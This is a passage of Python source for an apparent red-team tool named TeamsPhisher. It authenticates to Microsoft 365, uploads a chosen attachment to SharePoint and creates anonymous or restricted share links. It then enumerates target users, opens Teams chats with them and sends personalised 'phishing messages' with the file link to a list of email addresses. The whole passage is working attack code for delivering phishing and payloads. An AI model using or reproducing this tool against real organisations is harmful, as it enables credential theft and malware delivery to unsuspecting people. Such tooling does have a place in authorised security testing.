"files": "[{\\"@type\\":\\"http://schema.skype.com/File\\",\\"version\\":2,\\"id\\":\\"%s\\",\\"baseUrl\\":\\"%s/personal/%s/\\",\\"type\\":\\"%s\\",\\"title\\":\\"%s\\",\\"state\\":\\"active\\",\\"objectUrl\\":\\"%s/personal/%s/Documents/Microsoft%%20Teams%%20Chat%%20Files/%s\\",\\"providerData\\":\\"\\",\\"itemid\\":\\"%s\\",\\"fileName\\":\\"%s\\",\\"fileType\\":\\"%s\\",\\"fileInfo\\":{\\"itemId\\":null,\\"fileUrl\\":\\"%s/personal/%s/Documents/Microsoft%%20Teams%%20Chat%%20Files/%s\\",\\"siteUrl\\":\\"https://teamphisher-my.sharepoint.com/personal/phisher_teamphisher_onmicrosoft_com/\\",\\"serverRelativeUrl\\":\\"\\",\\"shareUrl\\":\\"%s\\",\\"shareId\\":\\"%s\\"},\\"botFileProperties\\":{},\\"permissionScope\\":\\"anonymous\\",\\"filePreview\\":{},\\"fileChicletState\\":{\\"serviceName\\":\\"p2p\\",\\"state\\":\\"active\\"}}]",
|
||||
"importance": "",
|
||||
"subject": ""
|
||||
}
|
||||
}""" % (assembledMessage, uploadInfo.get('sharepointIds').get('listItemUniqueId'), senderSharepointURL, senderDrive, attachment.split(".")[-1], os.path.basename(attachment), senderSharepointURL, senderDrive, os.path.basename(attachment), uploadInfo.get('sharepointIds').get('listItemUniqueId'), os.path.basename(attachment), attachment.split(".")[-1], senderSharepointURL, senderDrive, os.path.basename(attachment), inviteInfo.get('d').get('ShareLink').get('sharingLinkInfo').get('Url'), inviteInfo.get('d').get('ShareLink').get('sharingLinkInfo').get('ShareId'))
|
||||
|
||||
#Create chat thread
|
||||
content = requests.post(url, headers=headers, data=body)
|
||||
|
||||
if content.status_code != 201:
|
||||
p_warn("Error sending message + attachment to user: %d" % (content.status_code))
|
||||
return False
|
||||
|
||||
p_success("SUCCESS!")
|
||||
|
||||
return True
|
||||
|
||||
def getInviteLink(sharepointToken, senderSharepointURL, senderDrive, senderInfo, targetInfo, uploadID, secureLink):
|
||||
|
||||
# Assemble invite link request URL
|
||||
url = "%s/personal/%s/_api/web/GetFileById(@a1)/ListItemAllFields/ShareLink?@a1=guid%%27%s%%27" % (senderSharepointURL, senderDrive, uploadID)
|
||||
|
||||
headers = {
|
||||
"Authorization": "Bearer " + sharepointToken,
|
||||
"User-Agent": useragent,
|
||||
"Accept": "application/json;odata=verbose",
|
||||
"Content-Type": "application/json;odata=verbose",
|
||||
"Origin": "https://www.odwebp.svc.ms",
|
||||
"Referer": "https://www.odwebp.svc.ms/",
|
||||
}
|
||||
|
||||
# Define two different settings blocks for the request body depending on if we are sending a secure link or not.
|
||||
unsecure = """ "allowAnonymousAccess": true,
|
||||
"trackLinkUsers": false,
|
||||
"linkKind": 4,
|
||||
"expiration": null,
|
||||
"role": 1,
|
||||
"restrictShareMembership": false,
|
||||
"updatePassword": false,
|
||||
"password": "",
|
||||
"scope": 0"""
|
||||
|
||||
secure = """ "linkKind": 6,
|
||||
"expiration": null,
|
||||
"role": 1,
|
||||
"restrictShareMembership": true,
|
||||
"updatePassword": false,
|
||||
"password": "",
|
||||
"scope": 2"""
|
||||
|
||||
if(secureLink):
|
||||
settings = secure
|
||||
else:
|
||||
settings = unsecure
|
||||
|
||||
# If sender and target info match, this is a test message. Use single recipient PPI
|
||||
if(senderInfo == targetInfo):
|
||||
# Stitch body together
|
||||
body = """
|
||||
{
|
||||
"request": {
|
||||
"createLink": true,
|
||||
"settings": {
|
||||
%s
|
||||
},
|
||||
"peoplePickerInput": "[{\\"Key\\":\\"i:0#.f|membership|%s\\",\\"DisplayText\\":\\"%s\\",\\"IsResolved\\":true,\\"Description\\":\\"%s\\",\\"EntityType\\":\\"User\\",\\"EntityData\\":{\\"IsAltSecIdPresent\\":\\"False\\",\\"Title\\":\\"\\",\\"Email\\":\\"%s\\",\\"MobilePhone\\":\\"\\",\\"ObjectId\\":\\"%s\\",\\"Department\\":\\"\\"},\\"MultipleMatches\\":[],\\"ProviderName\\":\\"Tenant\\",\\"ProviderDisplayName\\":\\"Tenant\\"}]"
|
||||
}
|
||||
}
|
||||
""" % (settings, senderInfo.get('userPrincipalName'), senderInfo.get('displayName'), senderInfo.get('userPrincipalName'), senderInfo.get('userPrincipalName'), senderInfo.get('id'))
|
||||
|
||||
else:
|
||||
# Stitch body together
|
||||
body = """
|
||||
{
|
||||
"request": {
|
||||
"createLink": true,
|
||||
"settings": {
|
||||
%s
|
||||
},
|
||||
"peoplePickerInput": "[{\\"Key\\":\\"i:0#.f|membership|%s\\",\\"DisplayText\\":\\"%s\\",\\"IsResolved\\":true,\\"Description\\":\\"%s\\",\\"EntityType\\":\\"User\\",\\"EntityData\\":{\\"IsAltSecIdPresent\\":\\"False\\",\\"Title\\":\\"\\",\\"Email\\":\\"%s\\",\\"MobilePhone\\":\\"\\",\\"ObjectId\\":\\"%s\\",\\"Department\\":\\"\\"},\\"MultipleMatches\\":[],\\"ProviderName\\":\\"Tenant\\",\\"ProviderDisplayName\\":\\"Tenant\\"},{\\"Key\\":\\"%s\\",\\"DisplayText\\":\\"%s\\",\\"IsResolved\\":true,\\"Description\\":\\"%s\\",\\"EntityType\\":\\"\\",\\"EntityData\\":{\\"SPUserID\\":\\"%s\\",\\"Email\\":\\"%s\\",\\"IsBlocked\\":\\"False\\",\\"PrincipalType\\":\\"UNVALIDATED_EMAIL_ADDRESS\\",\\"AccountName\\":\\"%s\\",\\"SIPAddress\\":\\"%s\\",\\"IsBlockedOnODB\\":\\"False\\"},\\"MultipleMatches\\":[],\\"ProviderName\\":\\"\\",\\"ProviderDisplayName\\":\\"\\"}]"
|
||||
}
|
||||
}
|
||||
""" % (settings, senderInfo.get('userPrincipalName'), senderInfo.get('displayName'), senderInfo.get('userPrincipalName'), senderInfo.get('userPrincipalName'), senderInfo.get('id'), targetInfo.get('userPrincipalName'), targetInfo.get('userPrincipalName'), targetInfo.get('userPrincipalName'), targetInfo.get('userPrincipalName'), targetInfo.get('userPrincipalName'), targetInfo.get('userPrincipalName'), targetInfo.get('userPrincipalName'))
|
||||
|
||||
|
||||
# Send request
|
||||
content = requests.post(url, headers=headers, data=body)
|
||||
|
||||
if content.status_code != 200:
|
||||
p_warn("Error fetching sharing link: %d" % (content.status_code))
|
||||
print(content.text)
|
||||
return None
|
||||
|
||||
# Parse out the sharing URL that we need to send to our user
|
||||
inviteInfo = json.loads(content.text)
|
||||
|
||||
return inviteInfo
|
||||
|
||||
|
||||
banner = """
|
||||
...
|
||||
:-++++++=-.
|
||||
.=+++++++++++-
|
||||
.++++++++++++++= :------: :-:--.
|
||||
:+++++++++++++++. .---------- #= .-+.
|
||||
:+++++++++++++++. -----------: :#= :#.
|
||||
:--------------------------=++++++++- .------------ .=+ ++
|
||||
----------------------------+++++*+-. :+=-----===: -+-.+:
|
||||
:---------------------------++++=-. .=+++++=-. .=+:.
|
||||
:------=%%%%%%%%%%%%%%%%%%%%%%%%--------:... .:::.. -*=-:
|
||||
:------=****#@@#****--------=++++++++++++++-----------. -#++-
|
||||
:----------:+@@+:-----------+++++++++++++++=----------- -#++-
|
||||
:-----------+@@*------------+++++++++++++++=-----------. -*+*-
|
||||
:-----------+@@*------------+++++++++++++++=-----------. . -*++-
|
||||
:-----------+@@*------------+++++++++++++++=-----------. -- -*++-
|
||||
:-----------+@@*------------+++++++++++++++=-----------. . == -*++- .=
|
||||
:-----------+@@+------------+++++++++++++++=-----------. .+ -= :+==- .*
|
||||
:---------------------------+++++++++++++++=-----------. =* -= -+=+= .::
|
||||
----------------------------+++++++++++++++=----------- ** -+ -+=++. .*=
|
||||
.:-------------------------=+++++++++++++++=---------=: #+ := ++-:*= ==
|
||||
-++++++++++++++++++++++++++=-------=+=: :#= .:. *=: -*- ==
|
||||
.=+++++++++++++++++++++++++*+++++++=-. -#- ::++= :+=. .==
|
||||
:++++++++++++++++++++++++=:.:::::. -*: .=+-. .=+-. -+:
|
||||
.=+*+++++++++++++++++++- -+- .:-=. .-====----:-==:
|
||||
.-+**+++++++++++**+-. .++: .-=-: .:-====-:.
|
||||
:-=++******+=-: .=+===--.
|
||||
..:::.. ...
|
||||
|
||||
_____ ______ _ _ _
|
||||
|_ _| | ___ \| | (_) | |
|
||||
| | ___ __ _ _ __ ___ ___ | |_/ /| |__ _ ___ | |__ ___ _ __
|
||||
| | / _ \ / _` || '_ ` _ \ / __|| __/ | '_ \ | |/ __|| '_ \ / _ \| '__|
|
||||
| || __/| (_| || | | | | |\__ \| | | | | || |\__ \| | | || __/| |
|
||||
\_ \___| \__,_||_| |_| |_||___/\_| |_| |_||_||___/|_| |_| \___||_|
|
||||
|
||||
v%s developed by %s\n""" % (__version__, "@Octoberfest73 (https://github.com/Octoberfest7)")
|
||||
|
||||
if __name__ == "__main__":
|
||||
print(banner)
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('-u', '--username', dest='username', type=str, required=True, help='Username for authentication')
|
||||
parser.add_argument('-p', '--password', dest='password', type=str, required=True, help='Password for authentication')
|
||||
parser.add_argument('-a', '--attachment', dest='attachment', type=str, required=True, help='Full path to the attachment to send to targets.')
|
||||
parser.add_argument('-m', '--message', dest='message', type=str, required=True, help='A file containing a message to send with attached file.')
|
||||
|
||||
# Target group. Choose either a single email or a list of emails.
|
||||
parser_target_group = parser.add_mutually_exclusive_group(required=True)
|
||||
parser_target_group.add_argument('-e', '--targetemail', dest='email', type=str, required=False, help='Single target email address')
|
||||
parser_target_group.add_argument('-l', '--list', dest='list', type=str, required=False, help='Full path to a file containing target emails. One per line.')
|
||||
|
||||
parser.add_argument('--greeting', dest='greeting', type=str, required=False, help='Override default greeting with a custom one. Use double quotes if including spaces!')
|
||||
parser.add_argument('--securelink', dest='securelink', action='store_true', required=False, help='Send link to file only viewable by the individual target recipient.')
|
||||
parser.add_argument('--personalize', dest='personalize', action='store_true', required=False, help='Try and use targets names in greeting when sending messages.')
|
||||
parser.add_argument('--preview', dest='preview', action='store_true', required=False, help='Run in preview mode. See personalized names for targets and send test message to sender\'s Teams.')
|
||||
parser.add_argument('--delay', dest='delay', type=int, required=False, default=0, help='Delay in [s] between each attempt. Default: 0')
|
||||
parser.add_argument('--nogreeting', dest='nogreeting', action='store_true', required=False, help='Do not use built in greeting or personalized names, only send message specified with --message')
|
||||
parser.add_argument('--log', dest='log', action='store_true', required=False, help='Write TeamsPhisher output to logfile')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# If logging, open file and write commandline + banner
|
||||
if args.log:
|
||||
dt = datetime.datetime.now()
|
||||
logfile = "%s/%s" % (expanduser("~"), dt.strftime('%H:%M_%d%b%y_teamsphisher.log'))
|
||||
fd = open(logfile, 'w')
|
||||
fd.write(" ".join(sys.argv) + "\n")
|
||||
fd.write(banner)
|
||||
fd.flush()
|
||||
|
||||
p_info("\nConfiguration:\n")
|
||||
|
||||
if args.personalize:
|
||||
p_success("Try to personalize greeting by using targets first name")
|
||||
|
||||
if args.securelink:
|
||||
p_success("Sending secure file link that is only viewable by target and requires target authentication")
|
||||
else:
|
||||
p_warn("Sending file link that is accessible by anyone with the link")
|
||||
|
||||
if args.delay:
|
||||
p_success("Waiting %d seconds between each message" % (args.delay))
|
||||
else:
|
||||
p_warn("No delay between messages")
|
||||
|
||||
if args.nogreeting:
|
||||
p_warn("Built-in greeting disabled; did you specify one in your message?")
|
||||
else:
|
||||
if args.greeting:
|
||||
Greeting = args.greeting
|
||||
p_success("Using greeting: %s, --personalize greeting: %s <Name>," % (Greeting, Greeting))
|
||||
|
||||
if args.log:
|
||||
p_success("Logging TeamsPhisher output at: %s" % (logfile))
|
||||
else:
|
||||
p_warn("Not logging TeamsPhisher output")
|
||||
|
||||
if args.preview:
|
||||
mode = Fore.BLUE + "\nPreview mode: " + Style.RESET_ALL + "Sending test message to sender's account and showing target's friendly names for use with personalized greetings"
|
||||
else:
|
||||
mode = Fore.BLUE + "\nOperational mode: " + Style.RESET_ALL + "Sending phishing messages to targets!"
|
||||
|
||||
print(mode)
|
||||
if args.log:
|
||||
p_file(mode, False)
|
||||
|
||||
# Fancy countdown timer to allow operators to review options and abort if necessary
|
||||
print("")
|
||||
for i in range(5,-1,-1):
|
||||
time.sleep(1)
|
||||
if i < 10:
|
||||
stri = "0" + str(i)
|
||||
else:
|
||||
stri = str(i)
|
||||
print(Fore.RED + "Time left to abort: " + Style.RESET_ALL + stri, end="\r", flush=True)
|
||||
|
||||
p_info("\n\nAuthenticating, verifying files, and uploading attachment\n")
|
||||
|
||||
# Vars to track number of targets/status
|
||||
numTargets = 0
|
||||
numFailed = 0
|
||||
numSent = 0
|
||||
|
||||
# Populate list of emails
|
||||
if args.email:
|
||||
targets = [args.email]
|
||||
numTargets = 1
|
||||
else:
|
||||
p_task("Reading target email list...")
|
||||
try:
|
||||
with open(args.list) as f:
|
||||
targets = f.read().splitlines()
|
||||
f.close()
|
||||
numTargets = len(targets)
|
||||
p_success("SUCCESS!")
|
||||
except:
|
||||
p_err("Could not read supplied list of emails!", True)
|
||||
|
||||
# Authenticate and fetch our tokens and sender info
|
||||
bToken, skypeToken, sharepointToken, senderInfo = authenticate(args)
|
||||
|
||||
# Check to make sure attachment file exists
|
||||
if not os.path.isfile(args.attachment):
|
||||
p_err("Cannot locate %s!" % (args.attachment), True)
|
||||
|
||||
# Check to make sure message file exists
|
||||
if not os.path.isfile(args.message):
|
||||
p_err("Cannot locate %s!" % (args.message), True)
|
||||
|
||||
# Assemble Sharepoint name + Senders drive for later use
|
||||
senderSharepointURL = "https://%s-my.sharepoint.com" % senderInfo.get('tenantName')
|
||||
senderDrive = senderInfo.get('userPrincipalName').replace("@", "_").replace(".", "_").lower()
|
||||
|
||||
# Upload file to sharepoint that will be sent as an attachment in chats
|
||||
uploadInfo = uploadFile(sharepointToken, senderSharepointURL, senderDrive, args.attachment)
|
||||
|
||||
# Hash file and output for logging/tracking purposes
|
||||
p_info("\nHashing file\n")
|
||||
hashFile(args.attachment)
|
||||
|
||||
# If preview mode, we are sending the phishing message to our own account so we can review it.
|
||||
# To facilitiate this, 'senderInfo' is passed to getInviteLink for both the sender and the target info fields within the function
|
||||
# Additionally, threadID is set to None as we are not creating a new chat thread here and this signals sendFile to use our sender's 'notes' thread as the URL.
|
||||
if args.preview:
|
||||
p_info("\nSending test message to %s\n" % args.username)
|
||||
p_task("%s" % (args.username))
|
||||
|
||||
# Retrieve an invite link for the uploaded file
|
||||
inviteInfo = getInviteLink(sharepointToken, senderSharepointURL, senderDrive, senderInfo, senderInfo, uploadInfo.get('sharepointIds').get('listItemUniqueId'), args.securelink)
|
||||
if(inviteInfo):
|
||||
threadID = None
|
||||
|
||||
# Send attacker-defined message to ourselves for review
|
||||
success = sendFile(skypeToken, threadID, senderInfo, senderInfo, inviteInfo, senderSharepointURL, senderDrive, args.attachment, args.message, args.personalize, args.nogreeting)
|
||||
|
||||
p_info("\nPreviewing customized names identified by TeamsPhisher\n")
|
||||
else:
|
||||
p_info("\nSending messages to users!\n")
|
||||
|
||||
## LOOP THROUGH USERS ##
|
||||
for target in targets:
|
||||
p_task("%s" % (target))
|
||||
|
||||
if "@" not in target:
|
||||
p_warn("Invalid target specified. Skipping")
|
||||
numFailed += 1
|
||||
continue
|
||||
|
||||
# If a delay was specified, sleep now.
|
||||
if(args.delay):
|
||||
time.sleep(args.delay)
|
||||
|
||||
# Enumerate target user info
|
||||
targetInfo = enumUser(bToken, target)
|
||||
if targetInfo:
|
||||
|
||||
# If preview switch was used, resolve friendly name for each target and print for viewing.
|
||||
if args.preview:
|
||||
friendlyName = findFriendlyName(targetInfo)
|
||||
|
||||
if friendlyName:
|
||||
p_success("Friendly Name: %s" % (friendlyName))
|
||||
else:
|
||||
p_warn("Could not resolve a friendly name!")
|
||||
|
||||
# Real mode. Creating chats and sending messages!
|
||||
else:
|
||||
|
||||
# Create new chat thread with target user
|
||||
threadID = createThread(skypeToken, senderInfo, targetInfo)
|
||||
if threadID:
|
||||
|
||||
# Retrieve an invite link for the uploaded file
|
||||
inviteInfo = getInviteLink(sharepointToken, senderSharepointURL, senderDrive, senderInfo, targetInfo, uploadInfo.get('sharepointIds').get('listItemUniqueId'), args.securelink)
|
||||
if(inviteInfo):
|
||||
|
||||
# Send attacker-defined message to target with file sharing URL
|
||||
success = sendFile(skypeToken, threadID, senderInfo, targetInfo, inviteInfo, senderSharepointURL, senderDrive, args.attachment, args.message, args.personalize, args.nogreeting)
|
||||
if success:
|
||||
numSent += 1
|
||||
else:
|
||||
numFailed += 1
|
||||
continue
|
||||
else:
|
||||
numFailed += 1
|
||||
continue
|
||||
|
||||
else:
|
||||
numFailed += 1
|
||||
|
||||
# Print report
|
||||
if not args.preview:
|
||||
p_info("\nReport:\n")
|
||||
p_task("Successes")
|
||||
p_success(str(numSent))
|
||||
if numFailed:
|
||||
p_task("Failures")
|
||||
p_err(str(numFailed), False)
|
||||
p_task("Total")
|
||||
p_info("[~] " + str(numTargets))
|
||||